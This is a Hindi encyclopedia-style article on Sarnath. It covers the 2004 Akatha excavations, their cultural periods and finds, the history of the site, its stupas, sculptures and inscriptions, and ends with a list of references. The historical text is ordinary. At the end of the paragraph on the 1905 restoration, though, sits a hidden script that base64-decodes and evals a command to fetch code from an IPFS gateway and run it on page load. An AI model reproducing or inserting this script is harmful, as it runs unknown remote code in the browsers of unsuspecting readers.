यह उत्खनन कार्य पुन: 2004 फ़रवरी-अप्रैल, के मध्य प्रो. विदुला जायसवाल एवं लेखक के संयुक्त निर्देशन में सम्पन्न हुआ। नरोखर नाला के दक्षिणी किनारे पर स्थित यह पुरास्थल चार वर्गा किलोमीटर, में फैला हुआ है। उत्खनन कार्य मुख्य रूप से अकथा-1 और अकथा-2 में किया गया। उत्खनन में चार सांस्कृतिक कालों की सामग्री प्रकाश में आई।:

  • प्रथम काल- पूर्व उत्तरी कृष्ण परिमार्जित संस्कृति (प्री एन. बी. पी. काल)

(लगभग 1200 ई. पू. से 600 ई. पू. तक)

  • द्वितीय काल- उत्तरी कृष्ण परिमार्जित संस्कृति (600 ई.पू. से 200 ई. पू. तक)
  • तृतीय काल- शुंग कुषाण काल (200 ई. पू. से 300 ईसवी तक)
  • चतुर्थ काल- गुप्तकालीन संस्कृति (300 ईसवी से 600 ईसवी तक)

पुरास्थल-1- वर्तमान अकथा गाँव के दक्षिण- पश्चिम किनारे पर स्थित है जहाँ बड़ी संख्या में प्रस्तर प्रतिमाएँ बिखरी पड़ी हैं। यह वही स्थान है जहाँ से कुछ वर्ष पूर्व एक यक्ष प्रतिमा मिली थी। यह अब सारनाथ संग्रहालय में सुरक्षित है। यह यक्ष प्रतिमा प्रथम-द्वितीय शताब्दी ईसा पूर्व की है। इस क्षेत्र के उत्खनन में ईंटों से निर्मित तीन संरचनाएँ (संरचना-1, संरचना-2, और संरचना-3) मिली है। संरचना-1 के निर्माण में खंउत ईंटों का प्रयोग किया गया है। बनावट के आधार पर यह संरचनाएँ गुप्तकालीन प्रतीत होती हैं। संरचना-2 और 3 एक दीवाल के क्षतिग्रस्त भाग हैं। इस दीवाल में प्रयुक्त ईंटों की माप 44 X27.5 X6 मेमी. और 44 X26 X6 सेमी. आकार की हैं यह संरचनाएँ कुषाणकालीन है। इन सरंचनाओं के नीचे शुंगकालीन तीन क्रमागत फ़र्शों (Successive floors) के प्रमाण मिले हैं। इन फ़र्शों को मृदभांड के टुकड़ों और मिट्टी को कूटकर बनाया गया है। हाल (2004) के उत्खनन में मुख्य स्थल पर कुछ कुषाणकालीन संरचनाओं के अवशेष मिले हैं जो आवासीय प्रमाण नहीं प्रतीत होते हैं। इसके अतिरिक्त दो मुहरें एवं बड़ी संख्या में तांबे के सिक्के भी मिले हैं।

सारनाथ का एक दृश्य

अकथा- 1 से प्राप्त मुख्य मृदभांड परंपराएँ कृष्ण लोहित, कृष्ण लेपित, उत्तरी कृष्ण परिमार्जित मृदभांड, भूरे रंग के मृत्पात्र एवं लाल रंग के मृत्पात्र हैं। कृष्ण लोहित (ब्लैक एंड रेड वेयर) मृदभांड के कटोरे, तसले, घड़े, कृष्ण लेपित मृदभांड (ब्लैक स्लिप्ड), उत्तरी कृष्ण परिमार्जित मृदभांड (एन.बी.पी. वेयर) एवं भूरे रंग (ग्रे वेयर) की थालियाँ एवं कटोरे मुख्य हैं। लाल मृदभांड (रेड वेयर) के कटोरे, घड़े, अवठ रहित हांड़ियां (कारिनेटेड) एवं गुलाबपाश (स्प्रिन्कलर) बड़ी संख्या में प्राप्त हुए हैं। अन्य वस्तुओं में ताम्र-शलाका, तांबे, मिट्टी और अर्द्धमूल्यवान पत्थरों के बने मनके, लोढ़े एवं खिलौने तथा पकी मिट्टी की मानव एवं पशु मूर्तियाँ हैं।

अकथा-2 मुख्य टीले से ½ किलोमीटर दक्षिण में स्थित है जो ‘क़ब्रगाह’ के नाम से जाना जाता है। यह क्षेत्र अपने में एकल संस्कृत का अस्तित्व छिपाए हुए हैं। आवासीय बस्तियों के निर्माण के लिए ठेकेदारों द्वारा इन टीलों को समतल किये जाने के कारण यहँ त्वरित निस्तारण कार्य (Salvage operation) करना पड़ा। यहाँ 3 मी X 3 मी. की 6 खत्तियों में उत्खनन कार्य किया गया। उत्खनन में यहाँ से पूर्व कृष्ण-परिमार्जित संस्कृति के अवशेष प्रकाश में आए हैं जो ताम्रपाषाण कालीन है। अकथा से अभी कोई कार्बन तिथि नहीं मिली है लेकिन अन्य स्थलों से प्राप्त मृदभांडों के साथ तुलनात्मक अध्ययन के आधार पर इस एकल संस्कृति की तिथि 1200-1300 ई.पू. में निर्धारित की जा सकती है।

प्रथम काल की संस्कृति के लोग अपने मकानों के निर्माण में मिट्टी, लकड़ी एवं फूस का प्रयोग करते थे। उत्खनन में चार स्तंभ गर्तों ये युक्त एक फर्श मिला है। जिसे मिट्टी के बर्तनों के छोटे-टुकड़ों एंव मिट्टी को कूटकर सुदृढ़ बनाया गया है। फर्श पर एक चूल्हे के अवशेष भी मिले हैं। यह फर्श अकथा में आवासीय प्रमाण का सबसे प्राचीन साक्ष्य है। उत्खनन में पशुओं की जली हुई हड्डियाँ बड़ी संख्या में मिली हैं। इसमें से कुछ हड्डियाँ पर काटने के निशान भी हैं। जिससे ज्ञात होता है कि माँस-भक्षण के लिए इन पशुओं का वध किया गया था। इस काल के प्राप्त औज़ारों में पशु-अस्थियों से बने बाणाग्र उल्लेख्य हैं।

अकथा-2 के उत्खनन से प्राप्त मृदभांड कृष्ण लोहित, कृष्ण लेपित एवं लाल प्रकार के हैं। लाल मृदभांडों पर लेप का प्रयोग भी मिलता है। यहाँ के निवासियों को मृदभांड अलंकरण का भी विशेष ज्ञान था। उत्खनन से डोरी छापित, चटाई की छाप युक्त एवं चिपकवा पद्धति से अलंकृत मृदभांगों के टुकड़े प्रथम काल के निचले स्तर से प्राप्त हुए हैं।

बुद्ध प्रतिमा, सारनाथ

अकथा उत्खनन का नवीनतम साक्ष्य वाराणसी की प्राचीनता को बारहवीं-तेरहवीं शताब्दी ईसा पूर्व में स्थापित करता है। इस परिप्रेक्ष्य में सारनाथ और राजघाट के प्रारंम्भिक स्तरों के पुनर्मूल्यांकन की आवश्यकता है। नगरीकरण के संदर्भ में यह नवीनतम साक्ष्य एक नई दिशा प्रदान करता है एवं काशी के एक जनपद के रूप में विकसित होने की प्रक्रिया में इसका महत्त्वपूर्ण योगदान रहा होगा।

प्रमाण

  • गौतमबुद्ध गया में संबुद्धि प्राप्त करने के अनंतर यहाँ आए थे और उन्होंने कौडिन्य आदि अपने पूर्व साथियों को प्रथम बार प्रवचन सुनाकर अपने नये मत में दीक्षित किया था। इसी प्रथम प्रवचन को उन्होंने धर्मचक्रप्रवर्तन कहा जो कालांतर में, भारतीय मूर्तिकला के क्षेत्र में सारनाथ का प्रतीक माना गया। बुद्ध ही के जीवनकाल में काशी के श्रेष्टी नंदी ने ऋषिपत्तन में एक बौद्ध विहार बनवाया था। [38]
  • तीसरी शती ई.पू. में अशोक ने सारनाथ की यात्रा की और यहाँ कई स्तूप और एक सुंदर प्रस्तरस्तंभ स्थापित किया जिस पर मौर्य सम्राट की एक धर्मलिपि अंकित है। इसी स्तंभ का सिंह शीर्ष तथा धर्मचक्र भारतीय गणराज्य का राजचिह्न बनाया गया है। चौथी शती ई. में चीनी यात्री फ़ाह्यान इस स्थान पर आया था। उसने सारनाथ में चार बड़े स्तूप और पांच विहार देखे थे।
  • 6ठी शती ई. में हूणों ने इस स्थान पर आक्रमण करके यहाँ के प्राचीन स्मारकों को घोर क्षति पहुंचाई। इनका सेनानायक मिहिरकुल था।
सारनाथ
  • 7वीं शती ई. के पूर्वार्ध में, प्रसिद्ध चीनी यात्री युवानच्वांग ने वाराणसी और सारनाथ की यात्रा की थी। उस समय यहाँ 30 बौद्ध विहार थे जिनमें 1500 थेरावादी भिक्षु निवास करते थे।
  • युवानच्वांग ने सारनाथ में 100 हिन्दू देवालय भी देखें थे जो बौद्ध धर्म के धीरे-धीरे पतनोन्मुख होने तथा प्राचीन धर्म के पुनरोत्कर्ष के परिचायक थे।
  • 11वीं शती में महमूद ग़ज़नवी ने सारनाथ पर आक्रमण किया और यहाँ के स्मारकों को नष्ट-भ्रष्ट कर दिया।
  • तत्पश्चात 1194 ई. में मुहम्मद ग़ोरी के सेनापति क़ुतुबुद्दीन ने तो यहाँ की बचीखुची प्राय: सभी इमारतों तथा कलाकृतियों को लगभग समाप्त ही कर दिया। केवल दो विशाल स्तूप ही छ: शतियों तक अपने स्थान पर खड़े रहे।
  • 1794 ई. में काशी-नरेश चेतसिंह के दीवान जगतसिंह ने जगतगंज नामक वाराणसी के मुहल्ले को बनवाने के लिए एक स्तूप की सामग्री काम में ले ली। यह स्तूप ईटों का बना था। इसका व्यास 110 फुट था। कुछ विद्वानों का कथन है कि यह अशोक द्वारा निर्मित धर्मराजिक नामक स्तूप था। जगतसिंह ने इस स्तूप का जो उत्खनन करवाया था उसमे इस विशाल स्तूप के अंदर से बलुवा पत्थर और संगमरमर के दो बर्तन मिले थे जिनमें बुद्ध के अस्थि-अवशेष पाए गए थे। इन्हें गंगा में प्रवाहित कर दिया गया।

पुरातत्तव विभाग द्वारा यहाँ जो उत्खनन किया गया उसमें 12वीं शती ई. में यहाँ होने वाले विनाश के अध्ययन से ज्ञात होता है कि यहाँ के निवासी मुसलमानों के आक्रमण के समय एकाएक ही भाग निकले थे क्योंकि विहारों की कई कोठरियों में मिट्टी के बर्तनों में पकी दाल और चावल के अवशेष मिले थे।

बुद्ध, मूलागंध कुटी विहार, सारनाथ

1854 ई. में भारत सरकार ने सारनाथ को एक नील के व्यवसायी फ़र्ग्युसन से ख़रीद लिया। लंका के अनागरिक धर्मपाल के प्रयत्नों से यहाँ मूलगंध कुटी विहार नामक बौद्ध मंदिर बना था। सारनाथ के अवशिष्ट प्राचीन स्मारकों में निम्न स्तूप उल्लेखनीय हैं- चौखंडी स्तूप इस पर मुग़ल सम्राट् अकबर द्वारा अंकित 1588 ई. का एक फ़ारसी अभिलेख ख़ुदा है जिसमें हुमायूँ के इस स्थान पर आकर विश्राम करने का उल्लेख है। [39]; धमेख अथवा धर्ममुख स्तूप-पुरातत्त्व विद्वानों के मतानुसार यह स्तूप गुप्तकालीन है और भावी बुद्ध मैत्रेय के सम्मानार्थ बनवाया गया था। किंवदंती है कि यह वही स्थल है जहां मैत्रेय को गौतम बुद्ध ने उसके भावी बुद्ध बनने के विषय में भविष्यवाणी की थी। [40] खुदाई में इसी स्तूप के पास अनेक खरल आदि मिले थे जिससे संभावना होती है कि किसी समय यहाँ औषधालय रहा होगा। इस स्तूप में से अनेक सुंदर पत्थर निकले थे।

कलाकृतियां तथा प्रतिमाएं

सारनाथ के क्षेत्र की खुदाई से गुप्तकालीन अनेक कलाकृतियां तथा बुद्ध प्रतिमाएं प्राप्त हुई हैं जो वर्तमान संग्रहालय में सुरक्षित हैं। गुप्तकाल में सारनाथ की मूर्तिकला की एक अलग ही शैली प्रचलित थी, जो बुद्ध की मूर्तियों के आत्मिक सौंदर्य तथा शारीरिक सौष्ठव की सम्मिश्रित भावयोजना के लिए भारतीय मूर्तिकला के इतिहास में प्रसिद्ध है। सारनाथ में एक प्राचीन शिव मंदिर तथा एक जैन मंदिर भी स्थित हैं। जैन मंदिर 1824 ई. में बना था; इसमें श्रियांशदेव की प्रतिमा है। जैन किंवदंती है कि ये तीर्थंकर सारनाथ से लगभग दो मील दूर स्थित सिंह नामक ग्राम में तीर्थंकर भाव को प्राप्त हुए थे। सारनाथ से कई महत्त्वपूर्ण अभिलेख भी मिले हैं जिनमें प्रमुख काशीराज प्रकटादित्य का शिलालेख है। इसमें बालादित्य नरेश का उल्लेख है जो फ़्लीट के मत में वही बालादित्य है जो मिहिरकुल हूण के साथ वीरतापूर्वक लड़ा था। यह अभिलेख शायद 7वीं शती के पूर्व का है। दूसरे अभिलेख में हरिगुप्त नामक एक साधु द्वारा मूर्तिदान का उल्लेख है। यह अभिलेख 8वीं शती ई. का जान पड़ता है।


बीच में लोग इसे भूल गए थे। यहाँ के ईंट-पत्थरों को निकालकर वाराणसी का एक मुहल्ला ही बस गया। 1905 ई. में जब पुरातत्त्व विभाग ने खुदाई आरंभ की तब सारनाथ का जीर्णोद्धार हुआ। अब यहाँ संग्रहालय है, 'मूलगंध कुटी विहार' नामक नया मंदिर बन चुका है, बोधिवृक्ष की शाखा लगाई गई है और प्राचीन काल के मृगदाय का स्मरण दिलाने के लिए हरे-भरे उद्यानों में कुछ हिरन भी छोड़ दिए गए हैं। संसार भर के बौद्ध तथा अन्य पर्यटक यहाँ आते रहते हैं। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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वीथिका

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टीका टिप्पणी और संदर्भ

  1. बी.सी. भट्टाचार्य, दि हिस्ट्री आफ़ सारनाथ, (बनारस, 1924), पृ. 47
  2. निग्रोध मृग जातक, संख्या 12 (फाउसबोल संस्करण
  3. चूँकि खुदाई उस समय हुई थी जब स्तरीकरण के सिद्धांत शोधकर्ताओं द्वारा प्रयुक्त नहीं किए जाते थे तथा तत्कालीन विद्वान् कच्ची ईंटों, फूस की झोपड़ियों आदि अवशेषों पर ध्यान नहीं देते थे, साथ ही भारतीय मृतिकापात्रों का विशेष अध्ययन, जो अब हो रहा है, उसका प्रचलन नहीं था। ऐसी स्थिति में संभव है उसके महत्त्व का उचित मूल्याँकन न कर सके हों।
  4. इपिग्राफ़िया इंडिका, भाग 9, पृ. 325
  5. आर्कियोलाजिकल् सर्वे ऑफ़ इंडिया, वार्षिक रिपोर्ट 1907-8, पृ. 78
  6. तत्रैव, 1904-5, पृ. 212
  7. कनिंघम, आर्कियोलाजिकल् सर्वे रिपोर्ट्स भाग 1, पृ. 111
  8. दयाराम साहनी ने आभिलेखिक आधार पर इसे सातवीं या आठवीं शताब्दी का माना है। कैटलाग ऑफ़ दि म्यूजियम ऑफ़ आर्कियोलाजी एट सारनाथ, (कलकत्ता 1914), पृ. 11
  9. बंगाल एशियाटिक सोसाइटी जर्नल, 1854, पृ. 469
  10. एशियाटिक सोसाइटी रिसर्चेज्, 1856, पृ. 369
  11. आर्कियोलाजिकल् सर्वे ऑफ़ इंडिया (वार्षिक रिपोर्ट), 1904-5, पृ. 59 और आगे।
  12. बी. मजूमदार, ए गाइड टू सारनाथ, (दिल्ली, 1937), पृ. 25
  13. आर्कियोलाजिकल् सर्वे आफ् इंडिया (वार्षिक रिपोर्ट), 1914-15 (1920) पृ. 97 और आगे।
  14. तत्रैव, 1919-20 (1922), पृ. 26 और आगे: तत्रैव, 1921-22, पृ.82 और आगे: तत्रैव 1927 (1931), पृ. 92
  15. विद्वानों का पहले ऐसा मत था कि यह मंदिर से पानी निकालने के लिए एक नाली थी। उत्खनन से यह निश्चित हो गया कि यह एक सुरंग थी जो एक कमरे में जाती थी, जहाँ बौद्ध भिक्षु एकांत साधना करते थे।
  16. सेमुअल बील, चाइनीज एकाउंट्स् आफ् इंडिया, भाग 3, पृ. 297
  17. आर्कियोलाजिकल् सर्वे आफ् इंडिया, (वार्षिक रिपोर्ट), 1904-05, पृ. 74 जर्नल यू.पी.हि.सो., भाग 15, पृ. 55-64
  18. आर्कियोलाजिकल् सर्वे आफ् इंडिया, (वार्षिक रिपोर्ट), 1904-05, पृ. 78
  19. उल्लेखनीय है कि अहिच्छत्र की खुदाई में इसी प्रकार का एक ‘त्रिमेधि स्तूप’ या मंदिर मिला है जिसकी चोटी पर शिवलिंग प्रतिष्ठापित था।
  20. एशियाटिक रिसर्चेज, 5, पृ. 131-132 देखें- मोतीचंद्र, काशी का इतिहास, पृ. 54
  21. आर्कियोलाजिकल् सर्वे आफ् इंडिया, वार्षिक रिपोर्ट, 1903-04, पृ. 221
  22. तत्रैव, 1907-08, पृ. 65
  23. बुलेटिन ऑफ़ दि यू.पी. हिस्टारिकल सोसाइटी, संख्या 4, लखनऊ, (1965) पृ. 41
  24. थामस वाटर्स, आन् युवान् च्वाँग्स् ट्रेवेल्स् इन इंडिया, भाग दो, पृ. 47
  25. आर्कियोलाजिकल सर्वे आफ् इंडिया (वार्षिक रिपोर्ट), 1905-06, पृ. 68
  26. आर्कियोलाजिकल सर्वे ऑफ़ इंडिया (वार्षिक रिपोर्ट), 1904-5, पृ. 69
  27. तत्रैव, पृ. 70
  28. तत्रैव, 1907-08, पृ. 45
  29. आर्कियोलाजिकल सर्वे ऑफ़ इंडिया (वार्षिक रिपोर्ट), 1907-08, पृ. 46
  30. जैसा कि पहले उल्लेख किया जा चुका है कि इन कमरों में बौद्ध भिक्षु एकांत साधना करते थे।
  31. आर्कियोलाजिकल सर्वे ऑफ़ इंडिया (वार्षिक रिपोर्ट), 1907-08, पृ. 54
  32. आर्कियोलाजिकल सर्वे ऑफ़ इंडिया (वार्षिक रिपोर्ट), 1907-08, पृ. 56
  33. तत्रेव, पृ. 59। रचना में ये तीनों संघाराम सारनाथ के अन्य विहारों से मिलते-जुलते हैं। संभवत: ये विहार कुषाण काल में निर्मित हुए और इनका वर्तमान स्वरूप गुप्तकाल में प्राप्त हुआ। अत: यह निश्चित है कि ये संघाराम पहले 5वीं शताब्दी में हूणों के आक्रमण से नष्ट हुआ। तदुपरांत छठी शताब्दी में पुन: इनका जीर्णोद्धार हुआ जो पुन: 11 वीं शताब्दी में मुसलमानों के आक्रमण से नष्ट हो गया।
  34. आर्कियोलाजिकल सर्वे ऑफ़ इंडिया (वार्षिक रिपोर्ट), 1904-05, पृ. 74
  35. जर्नल ऑफ़ दि यू.पू. हिस्टोरिकल सोसाइटी, भाग 11 (2 दिसंबर 1938), पृ. 25-26।
  36. ए. कनिंघम, दि ऐंश्येंट् ज्योग्राफी आफ् इंडिया, पृ. 369
  37. वी. जायसवाल, अकथा : ए सैटेलाइअ सेटिलमेन्ट ऑफ़ सारनाथ, वाराणसी (रिपोर्ट ऑफ़ एक्सकैवेशन्स कन्डक्टेड इन द इयर 2002), भारती, अंक 26, 2000-2002, पृ. 61-180.
  38. पियवग्ग, बग्ग: 16, बुद्धघोष-रचित टीका
  39. चौखंडी स्तूप के निर्माता का ठीक-ठीक पता नहीं है। कनिंघम ने इस स्तूप का उत्खनन द्वारा अनुसंधान किया भी था किंतु कोई अवशेष न मिले
  40. आर्कियालोजिकल रिपोर्ट 1904-05

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